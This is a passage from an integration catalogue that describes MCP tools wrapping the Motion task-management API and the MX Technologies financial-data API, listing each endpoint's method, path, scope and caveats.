(write) — Set a custom field value on a project via POST /beta/custom-field-values/project/{projectId}. Set a custom field's value on one project. The body names the field (by an id from List workspace custom fields) and the value to store. Affects that project only. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. Served from Motion's `/beta/` API surface, which the vendor may change without a version bump. It uses the same host and the same API key as the `/v1/` tools. POST /api/v1/motion/beta/custom-field-values/project/{projectId}. Scopes: api. motion_post_beta_custom_field_values_task_by_taskid (write) — Set a custom field value on a task via POST /beta/custom-field-values/task/{taskId}. Set a custom field's value on one task. The body names the field (by an id from List workspace custom fields) and the value to store. Affects that task only. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. Served from Motion's `/beta/` API surface, which the vendor may change without a version bump. It uses the same host and the same API key as the `/v1/` tools. POST /api/v1/motion/beta/custom-field-values/task/{taskId}. Scopes: api. motion_post_beta_workspaces_by_workspaceid_custom_fields (write) — Create workspace custom field via POST /beta/workspaces/{workspaceId}/custom-fields. Define a new custom field on a workspace. The body names the field and its type. This changes the workspace's SHARED schema: the new field appears for every member and on every task and project in it, not only for this connection. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. Changes the workspace's shared configuration. It takes effect for every member of that workspace and every task and project in it, not only for this connection. Served from Motion's `/beta/` API surface, which the vendor may change without a version bump. It uses the same host and the same API key as the `/v1/` tools. POST /api/v1/motion/beta/workspaces/{workspaceId}/custom-fields. Scopes: api. motion_post_v1_comments (write) — Create comment via POST /v1/comments. Add a comment to a task. The body names the `taskId` and the comment content. A comment is visible to everyone with access to the task and notifies its watchers. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. POST /api/v1/motion/v1/comments. Scopes: api. motion_post_v1_projects (write) — Create project via POST /v1/projects. Create a project in a workspace. The body is Motion's own project object: `name` and `workspaceId` identify it, and the other fields a project carries are the ones Get project returns -- id, name, description, workspaceId, statusId, priorityLevel, dueDate, startDate, labelIds, managerId, color, type, stages, customFieldValues, createdByUserId, createdTime, updatedTime, completedTime. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. POST /api/v1/motion/v1/projects. Scopes: api. motion_post_v1_recurring_tasks (write) — Create recurring task via POST /v1/recurring-tasks. Create a recurring task definition: a rule that generates a task on a schedule. The body names the workspace, the task to generate and the recurrence. This creates the RULE, so it keeps producing tasks until it is deleted. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. POST /api/v1/motion/v1/recurring-tasks. Scopes: api. motion_post_v1_tasks (write) — Create task via POST /v1/tasks. Create a task. The body is Motion's own task object: `name` and `workspaceId` identify it, and the other fields a task carries are the ones Get task returns -- id, name, description, duration, dueDate, deadlineType, startOn, priority, labels, status, assignees, project, workspace, customFieldValues, chunks, scheduledStart, scheduledEnd, schedulingIssue, completed, completedTime, parentRecurringTaskId, creator, createdTime, updatedTime, lastInteractedTime. Motion auto-schedules the task into the owner's calendar unless told otherwise, so a created task also moves real calendar time. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. POST /api/v1/motion/v1/tasks. Scopes: api. ================================================================================ ## MX Technologies URL: https://www.agenticfabriq.com/integrations/mxtechnologies Section: Integrated Tools MX Technologies — 174 MCP tools Provider key: mxtechnologies. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mxtechnologies_delete_users_by_user_guid_accounts_by_account_guid (write, destructive) — Delete manual account. This endpoint deletes accounts that were manually created. The API will respond with an empty object and a status of `204 No Content`. via DELETE /users/{user_guid}/accounts/{account_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_budgets_by_budget_guid (write, destructive) — Delete a budget. via DELETE /users/{user_guid}/budgets/{budget_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/budgets/{budget_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_categories_by_category_guid (write, destructive) — Delete category. Use this endpoint to delete a specific custom category according to its unique GUID. The API will respond with an empty object and a status of `204 No Content`. via DELETE /users/{user_guid}/categories/{category_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/categories/{category_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_goals_by_goal_guid (write, destructive) — Delete a goal. via DELETE /users/{user_guid}/goals/{goal_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/goals/{goal_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_managed_members_by_member_guid (write, destructive) — Deprecated by MX. Delete managed member. Use this endpoint to delete the specified partner-managed `member`. The endpoint will respond with a status of `204 No Content` without a resource. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via DELETE /users/{user_guid}/managed_members/{member_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid (write, destructive) — Deprecated by MX. Delete managed account. Use this endpoint to delete a partner-managed account according to its unique GUID. If successful, the API will respond with a status of `204 No Content`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via DELETE /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid_transactions_by_transaction_guid (write, destructive) — Deprecated by MX. Delete managed transaction. Use this endpoint to delete the specified partner-managed `transaction`. The endpoint will respond with a status of `204 No Content` without a resource. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via DELETE /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions/{transaction_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions/{transaction_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_micro_deposits_by_micro_deposit_guid (write, destructive) — Delete a microdeposit. Use this endpoint to delete the specified microdeposit. via DELETE /users/{user_guid}/micro_deposits/{micro_deposit_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/micro_deposits/{micro_deposit_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_spending_plans_by_spending_plan_guid (write, destructive) — Delete spending plan. Use this endpoint to delete a user's `spending_plan`. via DELETE /users/{user_guid}/spending_plans/{spending_plan_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations_current_iteration_items_by_iteration_item_guid (write, destructive) — Delete spending plan iteration item. Use this endpoint to delete a spending plan `iteration_item`. via DELETE /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items/{iteration_item_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items/{iteration_item_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_spending_plans_by_spending_plan_guid_spending_plan_accounts_by_spending_plan_account_guid (write, destructive) — Delete spending plan account. Use this endpoint to delete a `spending_plan_account`. via DELETE /users/{user_guid}/spending_plans/{spending_plan_guid}/spending_plan_accounts/{spending_plan_account_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/spending_plan_accounts/{spending_plan_account_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_taggings_by_tagging_guid (write, destructive) — Delete tagging. Use this endpoint to delete a tagging according to its unique GUID. If successful, the API will respond with an empty body and a status of 204 NO Content. via DELETE /users/{user_guid}/taggings/{tagging_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/taggings/{tagging_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_tags_by_tag_guid (write, destructive) — Delete tag. Use this endpoint to permanently delete a specific tag based on its unique GUID. If successful, the API will respond with status of `204 No Content`. via DELETE /users/{user_guid}/tags/{tag_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/tags/{tag_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_transaction_rules_by_transaction_rule_guid (write, destructive) — Delete transaction rule. Use this endpoint to permanently delete a transaction rule based on its unique GUID. via DELETE /users/{user_guid}/transaction_rules/{transaction_rule_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/transaction_rules/{transaction_rule_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_transactions_by_transaction_guid (write, destructive) — Delete manual transactions. Delete a manual transaction. In the path, use the manual transaction guid as the `transaction_guid`, such as `MAN-810828b0-5210-4878-9bd3-f4ce514f90c4`. via DELETE /users/{user_guid}/transactions/{transaction_guid} DELETE /api/v1/mxtechnologies/users/{user_guid}/transactions/{transaction_guid}. Scopes: api. mxtechnologies_delete_users_by_user_guid_transactions_by_transaction_guid_split (write, destructive) — Delete split transactions. This endpoint deletes all split transactions linked to a parent transaction, but it leaves the parent transaction active. This request will also update the parent transaction's has_been_split field to false. This endpoint accepts the optional MX-Skip-Webhook header. via DELETE /users/{user_guid}/transactions/{transaction_guid}/split DELETE /api/v1/mxtechnologies/users/{user_guid}/transactions/{transaction_guid}/split. Scopes: api. mxtechnologies_delete_users_by_user_identifier (write, destructive) — Delete user. Use this endpoint to delete the specified `user`. The response will have a status of `204 No Content` without an object. <Warning> Deleting a user is permanent. Deleted users can never be restored. For more info, see Deleting Objects. </Warning> via DELETE /users/{user_identifier} DELETE /api/v1/mxtechnologies/users/{user_identifier}. Scopes: api. mxtechnologies_delete_users_by_user_identifier_members_by_member_identifier (write, destructive) — Delete member. Accessing this endpoint will permanently delete a member. via DELETE /users/{user_identifier}/members/{member_identifier} DELETE /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}. Scopes: api. mxtechnologies_delete_users_by_user_identifier_members_by_member_identifier_accounts_by_account_identifier_transactions_by_transaction_identifier_split (write, destructive) — Delete split transactions by account. This endpoint deletes all split transactions linked to a parent transaction, but it leaves the parent transaction active. This request will also update the parent transaction's has_been_split field to false. This endpoint accepts the optional MX-Skip-Webhook header. via DELETE /users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier}/split DELETE /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier}/split. Scopes: api. mxtechnologies_get_account_account_numbers (read) — Request an account number (Processors Only). Get account information such as routing number and account number, scoped to your access token. Not callable with a client_id:api_key connection: this is a processor-token (Bearer) operation. via GET /account/account_numbers GET /api/v1/mxtechnologies/account/account_numbers. Scopes: api. mxtechnologies_get_account_transactions (read) — Get account owner information (Processors Only) Not callable with a client_id:api_key connection: this is a processor-token (Bearer) operation. via GET /account/transactions GET /api/v1/mxtechnologies/account/transactions. Scopes: api. mxtechnologies_get_ach_returns (read) — List ACH Returns. Use this endpoint to get all ACH returns. via GET /ach_returns GET /api/v1/mxtechnologies/ach_returns. Scopes: api. mxtechnologies_get_ach_returns_by_ach_return_guid (read) — Read ACH Return. Use this endpoint to get an ACH return by its `guid` or `id`. via GET /ach_returns/{ach_return_guid} GET /api/v1/mxtechnologies/ach_returns/{ach_return_guid}. Scopes: api. mxtechnologies_get_categories_by_category_guid (read) — Read a default category. Use this endpoint to read the attributes of a default category. via GET /categories/{category_guid} GET /api/v1/mxtechnologies/categories/{category_guid}. Scopes: api. mxtechnologies_get_categories_default (read) — List default categories. Use this endpoint to retrieve a list of all the default categories and subcategories offered within the MX Platform API. In other words, each item in the returned list will have its `is_default` field set to `true`. There are currently 119 default categories and subcategories. Both the _list default categories_ and _list default categories by user_ endpoints return the same results. The different routes are provided for convenience. via GET /categories/default GET /api/v1/mxtechnologies/categories/default. Scopes: api. mxtechnologies_get_credit_card_products_by_credit_card_product_guid (read) — Read a Credit Card Product. This endpoint returns the specified `credit_card_product` according to the unique GUID. via GET /credit_card_products/{credit_card_product_guid} GET /api/v1/mxtechnologies/credit_card_products/{credit_card_product_guid}. Scopes: api. mxtechnologies_get_institutions (read) — List institutions. Lists financial institutions available through the MX platform. This endpoint has been updated in `v20250224` to enhance search and filtering capabilities based on the products supported by each institution. via GET /institutions GET /api/v1/mxtechnologies/institutions. Scopes: api. mxtechnologies_get_institutions_by_institution_code (read) — Read institution. This endpoint returns information about the institution specified by `institution_code`. The `v20250224` update enhances the granularity of the information provided about the services and products supported by the institution. via GET /institutions/{institution_code} GET /api/v1/mxtechnologies/institutions/{institution_code}. Scopes: api. mxtechnologies_get_institutions_by_institution_identifier_credentials (read) — List institution credentials. Use this endpoint to see which credentials will be needed to create a member for a specific institution. Passing an invalid `institution_identifier` returns a `404`. via GET /institutions/{institution_identifier}/credentials GET /api/v1/mxtechnologies/institutions/{institution_identifier}/credentials. Scopes: api. mxtechnologies_get_institutions_favorites (read) — List favorite institutions. This endpoint returns a paginated list containing institutions that have been set as favorites, sorted by popularity. Please contact MX to set a list of favorites. via GET /institutions/favorites GET /api/v1/mxtechnologies/institutions/favorites. Scopes: api. mxtechnologies_get_managed_institutions (read) — Deprecated by MX. List managed institutions. This endpoint returns a list of institutions which can be used to create partner-managed members. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide </Warning> via GET /managed_institutions GET /api/v1/mxtechnologies/managed_institutions. Scopes: api. mxtechnologies_get_merchant_locations_by_merchant_location_guid (read) — Read merchant location. This endpoint returns the specified `merchant_location` resource. The `merchant_location_guid` can be found on `transaction` objects. via GET /merchant_locations/{merchant_location_guid} GET /api/v1/mxtechnologies/merchant_locations/{merchant_location_guid}. Scopes: api. mxtechnologies_get_merchants (read) — List merchants. This endpoint returns a paginated list of all the merchants in the MX system. via GET /merchants GET /api/v1/mxtechnologies/merchants. Scopes: api. mxtechnologies_get_merchants_by_merchant_guid (read) — Read merchant. Returns information about a particular merchant, such as a logo, name, and website. via GET /merchants/{merchant_guid} GET /api/v1/mxtechnologies/merchants/{merchant_guid}. Scopes: api. mxtechnologies_get_payment_account (read) — Read the account balance (Processors Only) Not callable with a client_id:api_key connection: this is a processor-token (Bearer) operation. via GET /payment_account GET /api/v1/mxtechnologies/payment_account. Scopes: api. mxtechnologies_get_tokens (read) — WITHHELD: refused without calling MX. View a List of Tokens. View a list of tokens that exist for a user, member, or account. No request shape for this operation has been measured to succeed (MX refuses the documented GET body and answers 500 to query-string forms), so it is not sent. via GET /tokens GET /api/v1/mxtechnologies/tokens. Scopes: api. mxtechnologies_get_users (read) — List users. Use this endpoint to list every user you've created in the MX Platform API. via GET /users GET /api/v1/mxtechnologies/users. Scopes: api. mxtechnologies_get_users_by_user_guid_account_verifications (read) — List all verifications for a user. This endpoint returns a list of the account verifications associated with the user, as well as the status of those verifications. via GET /users/{user_guid}/account_verifications GET /api/v1/mxtechnologies/users/{user_guid}/account_verifications. Scopes: api. mxtechnologies_get_users_by_user_guid_accounts_by_account_guid (read) — Read account. This endpoint returns the specified `account` resource. via GET /users/{user_guid}/accounts/{account_guid} GET /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_accounts_by_account_guid_date_range_category_totals (read) — List category totals by account. Returns a list of categories that have transactions dated within the provided date range, and the total of all transactions that belong to each category. via GET /users/{user_guid}/accounts/{account_guid}/date_range_category_totals GET /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}/date_range_category_totals. Scopes: api. mxtechnologies_get_users_by_user_guid_accounts_by_account_guid_insights (read) — List insights by account. Use this endpoint to list all insights associated with an account GUID. via GET /users/{user_guid}/accounts/{account_guid}/insights GET /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}/insights. Scopes: api. mxtechnologies_get_users_by_user_guid_accounts_by_account_guid_investment_holdings (read) — List holdings by account. This endpoint lists all holdings associated with the particular account defined. via GET /users/{user_guid}/accounts/{account_guid}/investment_holdings GET /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}/investment_holdings. Scopes: api. mxtechnologies_get_users_by_user_guid_accounts_by_account_guid_monthly_account_balances (read) — List account balances by month. Use this endpoint to list all monthly account balances associated with an account GUID. Setting `from_date` returns account balances starting from the set month. Setting `to_date` returns account balances ending with the set month. via GET /users/{user_guid}/accounts/{account_guid}/monthly_account_balances GET /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}/monthly_account_balances. Scopes: api. mxtechnologies_get_users_by_user_guid_accounts_by_account_guid_transactions (read) — List transactions by account. Requests to this endpoint return a list of transactions associated with the specified account. <br /><br /> Enhanced transaction data may be requested using the `includes` parameter. To use this optional parameter, the value should include the optional metadata requested such as `repeating_transactions`, `merchants`, `classifications`, `geolocations`. For more information, see the Optional Enhancement Query Parameter guide. via GET /users/{user_guid}/accounts/{account_guid}/transactions GET /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}/transactions. Scopes: api. mxtechnologies_get_users_by_user_guid_budgets (read) — List all budgets via GET /users/{user_guid}/budgets GET /api/v1/mxtechnologies/users/{user_guid}/budgets. Scopes: api. mxtechnologies_get_users_by_user_guid_budgets_by_budget_guid (read) — Read a specific budget. via GET /users/{user_guid}/budgets/{budget_guid} GET /api/v1/mxtechnologies/users/{user_guid}/budgets/{budget_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_categories (read) — List categories. Use this endpoint to list all categories associated with a `user`, including both default and custom categories. via GET /users/{user_guid}/categories GET /api/v1/mxtechnologies/users/{user_guid}/categories. Scopes: api. mxtechnologies_get_users_by_user_guid_categories_by_category_guid (read) — Read a custom category. Use this endpoint to read the attributes of either a default category or a custom category. via GET /users/{user_guid}/categories/{category_guid} GET /api/v1/mxtechnologies/users/{user_guid}/categories/{category_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_categories_default (read) — List default categories by user. Use this endpoint to retrieve a list of all the default categories and subcategories, scoped by user, offered within the MX Platform API. In other words, each item in the returned list will have its `is_default` field set to `true`. There are currently 119 default categories and subcategories. Both the _list default categories_ and _list default categories by user_ endpoints return the same results. The different routes are provided for convenience. via GET /users/{user_guid}/categories/default GET /api/v1/mxtechnologies/users/{user_guid}/categories/default. Scopes: api. mxtechnologies_get_users_by_user_guid_date_range_category_totals (read) — List category totals by user. Returns a list of categories that have transactions dated within the provided date range, and the total of all transactions that belong to each category. via GET /users/{user_guid}/date_range_category_totals GET /api/v1/mxtechnologies/users/{user_guid}/date_range_category_totals. Scopes: api. mxtechnologies_get_users_by_user_guid_goals (read) — List goals. List all goals a user can set. via GET /users/{user_guid}/goals GET /api/v1/mxtechnologies/users/{user_guid}/goals. Scopes: api. mxtechnologies_get_users_by_user_guid_goals_by_goal_guid (read) — Read a goal. Read a specific goal. via GET /users/{user_guid}/goals/{goal_guid} GET /api/v1/mxtechnologies/users/{user_guid}/goals/{goal_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_insights (read) — List all insights for a user. Use this endpoint to list all the insights associated with the user. via GET /users/{user_guid}/insights GET /api/v1/mxtechnologies/users/{user_guid}/insights. Scopes: api. mxtechnologies_get_users_by_user_guid_insights_by_insight_guid (read) — Read insight. Use this endpoint to read the attributes of an insight according to its unique GUID. via GET /users/{user_guid}/insights/{insight_guid} GET /api/v1/mxtechnologies/users/{user_guid}/insights/{insight_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_insights_by_insight_guid_accounts (read) — List all accounts associated with an insight. Use this endpoint to list all the accounts associated with the insight. via GET /users/{user_guid}/insights/{insight_guid}/accounts GET /api/v1/mxtechnologies/users/{user_guid}/insights/{insight_guid}/accounts. Scopes: api. mxtechnologies_get_users_by_user_guid_insights_by_insight_guid_categories (read) — List all categories associated with an insight. Use this endpoint to list all the categories associated with the insight. via GET /users/{user_guid}/insights/{insight_guid}/categories GET /api/v1/mxtechnologies/users/{user_guid}/insights/{insight_guid}/categories. Scopes: api. mxtechnologies_get_users_by_user_guid_insights_by_insight_guid_merchants (read) — List all merchants associated with an insight. Use this endpoint to list all the merchants associated with the insight. via GET /users/{user_guid}/insights/{insight_guid}/merchants GET /api/v1/mxtechnologies/users/{user_guid}/insights/{insight_guid}/merchants. Scopes: api. mxtechnologies_get_users_by_user_guid_insights_by_insight_guid_scheduled_payments (read) — List all scheduled payments associated with an insight. Use this endpoint to list all the scheduled payments associated with the insight. via GET /users/{user_guid}/insights/{insight_guid}/scheduled_payments GET /api/v1/mxtechnologies/users/{user_guid}/insights/{insight_guid}/scheduled_payments. Scopes: api. mxtechnologies_get_users_by_user_guid_insights_by_insight_guid_transactions (read) — List all transactions associated with an insight. Use this endpoint to list all the transactions associated with the insight. via GET /users/{user_guid}/insights/{insight_guid}/transactions GET /api/v1/mxtechnologies/users/{user_guid}/insights/{insight_guid}/transactions. Scopes: api. mxtechnologies_get_users_by_user_guid_investment_holdings (read) — List holdings by user. This endpoint lists all holdings associated with the user across all accounts. via GET /users/{user_guid}/investment_holdings GET /api/v1/mxtechnologies/users/{user_guid}/investment_holdings. Scopes: api. mxtechnologies_get_users_by_user_guid_investment_holdings_by_holding_guid (read) — Read holding. Use this endpoint to read the attributes of a specific `holding`. via GET /users/{user_guid}/investment_holdings/{holding_guid} GET /api/v1/mxtechnologies/users/{user_guid}/investment_holdings/{holding_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_investment_holdings_deactivate (read) — Deactivate user from Investment Holdings. This endpoint deactivates the specific user from the `/investment_holdings` product. To reactivate a user, use any of the current `/investment_holding` endpoints. via GET /users/{user_guid}/investment_holdings_deactivate GET /api/v1/mxtechnologies/users/{user_guid}/investment_holdings_deactivate. Scopes: api. mxtechnologies_get_users_by_user_guid_managed_members (read) — Deprecated by MX. List managed members. This endpoint returns a list of all the partner-managed members associated with the specified `user`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via GET /users/{user_guid}/managed_members GET /api/v1/mxtechnologies/users/{user_guid}/managed_members. Scopes: api. mxtechnologies_get_users_by_user_guid_managed_members_by_member_guid (read) — Deprecated by MX. Read managed member. This endpoint returns the attributes of the specified partner-managed`member`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via GET /users/{user_guid}/managed_members/{member_guid} GET /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_managed_members_by_member_guid_accounts (read) — Deprecated by MX. List managed accounts. Use this endpoint to retrieve a list of all the partner-managed accounts associated with the given partner-managed member. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via GET /users/{user_guid}/managed_members/{member_guid}/accounts GET /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts. Scopes: api. mxtechnologies_get_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid (read) — Deprecated by MX. Read managed account. Use this endpoint to read the attributes of a partner-managed account according to its unique guid. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via GET /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid} GET /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid_transactions (read) — Deprecated by MX. List managed transactions. This endpoint returns a list of all the partner-managed transactions associated with the specified `account`, scoped through a `user` and a `member`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via GET /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions GET /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions. Scopes: api. mxtechnologies_get_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid_transactions_by_transaction_guid (read) — Deprecated by MX. Read managed transaction. Requests to this endpoint will return the attributes of the specified partner-managed `transaction`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via GET /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions/{transaction_guid} GET /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions/{transaction_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_members_by_member_guid_account_numbers (read) — List account numbers by member. This endpoint returns a list of account numbers associated with the specified `member`. via GET /users/{user_guid}/members/{member_guid}/account_numbers GET /api/v1/mxtechnologies/users/{user_guid}/members/{member_guid}/account_numbers. Scopes: api. mxtechnologies_get_users_by_user_guid_members_by_member_guid_investment_holdings (read) — List holdings by member. This endpoint lists all holdings associated with the specified member. via GET /users/{user_guid}/members/{member_guid}/investment_holdings GET /api/v1/mxtechnologies/users/{user_guid}/members/{member_guid}/investment_holdings. Scopes: api. mxtechnologies_get_users_by_user_guid_members_by_member_guid_rewards (read) — List Rewards. Use this endpoint to list all the `rewards` associated with a specified `member`. Member guids are defined by MX. via GET /users/{user_guid}/members/{member_guid}/rewards GET /api/v1/mxtechnologies/users/{user_guid}/members/{member_guid}/rewards. Scopes: api. mxtechnologies_get_users_by_user_guid_members_by_member_guid_rewards_by_reward_guid (read) — Read Reward. Use this endpoint to read a specific `reward` based on its unique GUID. Member and Rewards guids are defined by MX. via GET /users/{user_guid}/members/{member_guid}/rewards/{reward_guid} GET /api/v1/mxtechnologies/users/{user_guid}/members/{member_guid}/rewards/{reward_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_members_by_member_guid_statements (read) — List statements by member. Use this endpoint to get an array of available statements. via GET /users/{user_guid}/members/{member_guid}/statements GET /api/v1/mxtechnologies/users/{user_guid}/members/{member_guid}/statements. Scopes: api. mxtechnologies_get_users_by_user_guid_members_by_member_guid_statements_by_statement_guid (read) — Read statement by member. Use this endpoint to read a JSON representation of the statement. via GET /users/{user_guid}/members/{member_guid}/statements/{statement_guid} GET /api/v1/mxtechnologies/users/{user_guid}/members/{member_guid}/statements/{statement_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_micro_deposits (read) — List all microdeposits for a user. Use this endpoint to read the attributes of a specific microdeposit according to its unique GUID. via GET /users/{user_guid}/micro_deposits GET /api/v1/mxtechnologies/users/{user_guid}/micro_deposits. Scopes: api. mxtechnologies_get_users_by_user_guid_micro_deposits_by_micro_deposit_guid (read) — Read a microdeposit for a user. Use this endpoint to read the attributes of a specific microdeposit according to its unique GUID. <br></br> Webhooks for microdeposit status changes are triggered when a status changes. The actual status of the microdeposit guid updates every minute. You may force a status update by calling the read microdeposit endpoint. via GET /users/{user_guid}/micro_deposits/{micro_deposit_guid} GET /api/v1/mxtechnologies/users/{user_guid}/micro_deposits/{micro_deposit_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_notifications (read) — List notifications. All notifications for the user can be listed, including notifications created by MX for other channels besides `PUSH`. via GET /users/{user_guid}/notifications GET /api/v1/mxtechnologies/users/{user_guid}/notifications. Scopes: api. mxtechnologies_get_users_by_user_guid_notifications_by_notification_guid (read) — Read notifications. Can pull up any notification associated with the user, including notifications created by MX for other channels besides `PUSH`. via GET /users/{user_guid}/notifications/{notification_guid} GET /api/v1/mxtechnologies/users/{user_guid}/notifications/{notification_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_repeating_transactions (read) — List Repeating Transactions. Retrieve a list of all recurring transactions for a user. <br /><br />For more see the Repeating Transactions guide. via GET /users/{user_guid}/repeating_transactions GET /api/v1/mxtechnologies/users/{user_guid}/repeating_transactions. Scopes: api. mxtechnologies_get_users_by_user_guid_repeating_transactions_by_repeating_transaction_guid (read) — Get a Repeating Transaction. Get a Specific Repeating Transaction. via GET /users/{user_guid}/repeating_transactions/{repeating_transaction_guid} GET /api/v1/mxtechnologies/users/{user_guid}/repeating_transactions/{repeating_transaction_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans (read) — List spending plans. Use this endpoint to list all the spending plans associated with the user. via GET /users/{user_guid}/spending_plans GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid (read) — Read a spending plan for a user. Use this endpoint to read the attributes of a specific spending plan according to its unique GUID. via GET /users/{user_guid}/spending_plans/{spending_plan_guid} GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations (read) — List spending plan iterations. Use this endpoint to list all the spending plan `iterations` associated with the `spending_plan`. via GET /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations. Scopes: api. 